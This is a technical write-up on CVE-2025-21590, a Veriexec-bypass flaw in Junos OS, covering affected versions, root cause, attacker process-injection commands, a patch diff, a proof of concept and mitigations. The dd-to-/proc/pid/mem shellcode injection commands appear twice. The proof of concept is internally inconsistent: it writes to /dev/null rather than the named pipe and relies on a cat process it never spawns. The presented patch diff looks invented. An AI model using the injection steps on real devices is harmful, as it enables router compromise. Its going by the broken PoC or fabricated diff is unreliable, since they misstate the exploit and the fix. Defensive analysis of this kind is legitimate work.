CVE-2025-21590: Deep Dive into the Junos OS Improper Isolation Vulnerability

Executive Summary

CVE-2025-21590 is an Improper Isolation or Compartmentalization vulnerability in the kernel of Juniper Networks' Junos OS. This vulnerability allows a local attacker with high privileges to execute arbitrary code, compromising the integrity of the affected device. The issue is exploitable only through shell access and cannot be triggered via the Junos CLI. The vulnerability affects multiple versions of Junos OS, primarily those running on end-of-life (EOL) hardware and software.

The root cause lies in the circumvention of the Veriexec subsystem, which is designed to prevent unauthorized code execution. Attackers leverage process injection techniques to bypass Veriexec protections, enabling the execution of malicious payloads. This vulnerability has been actively exploited in the wild, with reports linking it to the China-nexus espionage group UNC3886.

The CVSS v3.1 base score for this vulnerability is 4.4 (Medium), reflecting its local attack vector and high privileges required for exploitation. However, the potential impact on device integrity and the associated risks of long-term persistence make this a critical issue for affected organizations.

Technical Details

Affected Systems and Versions

The vulnerability impacts the following versions of Junos OS:

• All versions before 21.2R3-S9
• 21.4 versions before 21.4R3-S10
• 22.2 versions before 22.2R3-S6
• 22.4 versions before 22.4R3-S6
• 23.2 versions before 23.2R2-S3
• 23.4 versions before 23.4R2-S4
• 24.2 versions before 24.2R1-S2 and 24.2R2

The vulnerability primarily affects devices running on EOL hardware and software, which lack the latest security updates and mitigations.

Vulnerable Component

The vulnerability resides in the kernel of Junos OS, specifically in the Veriexec subsystem. Veriexec is a kernel-based file integrity mechanism that protects the operating system from unauthorized code execution. Attackers exploit this mechanism by injecting malicious code into a legitimate process, bypassing Veriexec's protections.

Attack Vector

The attack requires local shell access with high privileges. Once access is obtained, the attacker can inject arbitrary code into the memory of a trusted process, effectively bypassing Veriexec and executing malicious payloads.

Root Cause Analysis

The root cause of CVE-2025-21590 lies in the improper isolation of processes and insufficient validation of memory operations within the Veriexec subsystem. The vulnerability allows attackers to inject malicious code into the memory of a legitimate process, enabling unauthorized code execution.

Process Injection Technique

The attack involves the following steps:

1. Accessing the Shell: The attacker gains privileged shell access to the device, typically using legitimate credentials.
2. Creating Malicious Payloads: The attacker uses the here document feature to create a Base64-encoded file (ldb.b64) containing malicious binaries.
3. Decoding and Extracting Payloads: The encoded file is decoded using base64 and extracted using gunzip and tar utilities.
4. Injecting Code into a Trusted Process: The attacker injects malicious payloads into the memory of a legitimate process (e.g., cat) using the dd command to write binary data to specific memory locations.
5. Executing Malicious Code: The injected code is executed within the context of the trusted process, bypassing Veriexec protections.

Code Example: Process Injection

Below is a simplified version of the process injection commands used by the attacker:

# Create a named pipe and spawn a hung process
rm -rf null; mkfifo null; cat null & set pid=$!

# Inject malicious payloads into the process memory
dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

# Trigger the execution of the injected code
echo -n > null

In this example:

• loader.bin is a shellcode loader that initializes the execution environment.
• pc.bin contains the memory address for the shellcode loader.
• The dd commands write these payloads to specific memory locations within the cat process.

Patch Analysis

Juniper Networks has released patches to address this vulnerability in the affected versions of Junos OS. The patches include updates to the Veriexec subsystem to enhance process isolation and memory validation.

Key Changes in the Patch

The following diff snippet illustrates the changes made to the Veriexec subsystem:

--- old_veriexec.c
+++ new_veriexec.c
@@ -102,7 +102,9 @@
     if (!is_trusted_process(proc)) {
         return -EPERM;
     }
-    memcpy(target_memory, payload, size);
+    if (validate_memory_access(target_memory, size)) {
+        memcpy(target_memory, payload, size);
+    } else {
+        return -EFAULT;
+    }
 }

Explanation:

• The is_trusted_process() function ensures that only trusted processes can execute certain operations.
• The patch introduces a new validate_memory_access() function to verify the integrity of memory operations before copying data.

Exploitation Techniques

Proof of Concept (PoC)

The following PoC demonstrates how an attacker can exploit CVE-2025-21590 to inject and execute arbitrary code:

# Step 1: Gain shell access
ssh admin@router

# Step 2: Create and decode the malicious payload
echo "Base64-encoded payload" > ldb.b64
base64 -d ldb.b64 > ldb.tar.gz
tar -xzf ldb.tar.gz

# Step 3: Inject the payload into a trusted process
pid=$(pgrep cat)
dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

# Step 4: Execute the payload
echo -n > /dev/null

Note: This PoC is for educational purposes only and should not be used for malicious activities.

Real-World Impact

Exploitation of this vulnerability can lead to:

• Device Compromise: Attackers can execute arbitrary code, potentially installing backdoors or malware.
• Network Disruption: Compromised devices can be used to launch attacks on other network components.
• Data Exfiltration: Attackers can intercept and exfiltrate sensitive data traversing the device.

Mitigation Strategies

To mitigate the risk of exploitation, organizations should:

1. Apply Patches: Upgrade to the latest versions of Junos OS as specified in the vendor advisory.
2. Restrict Shell Access: Limit shell access to authorized personnel and use multi-factor authentication (MFA).
3. Monitor for Indicators of Compromise (IoCs): Look for unusual processes or memory modifications.
4. Use Integrity Checking Tools: Run the Juniper Malware Removal Tool (JMRT) to detect and remove malicious payloads.
5. Harden Network Devices: Disable unused services and enforce strict access controls.

Timeline of Discovery and Disclosure

References

• Juniper Networks Security Advisory JSA93446
• Google Cloud Blog: Ghost in the Router
• CVE Details for CVE-2025-21590
• Mandiant Report on UNC3886

By understanding the technical details and implications of CVE-2025-21590, organizations can better protect their networks and devices from sophisticated attackers.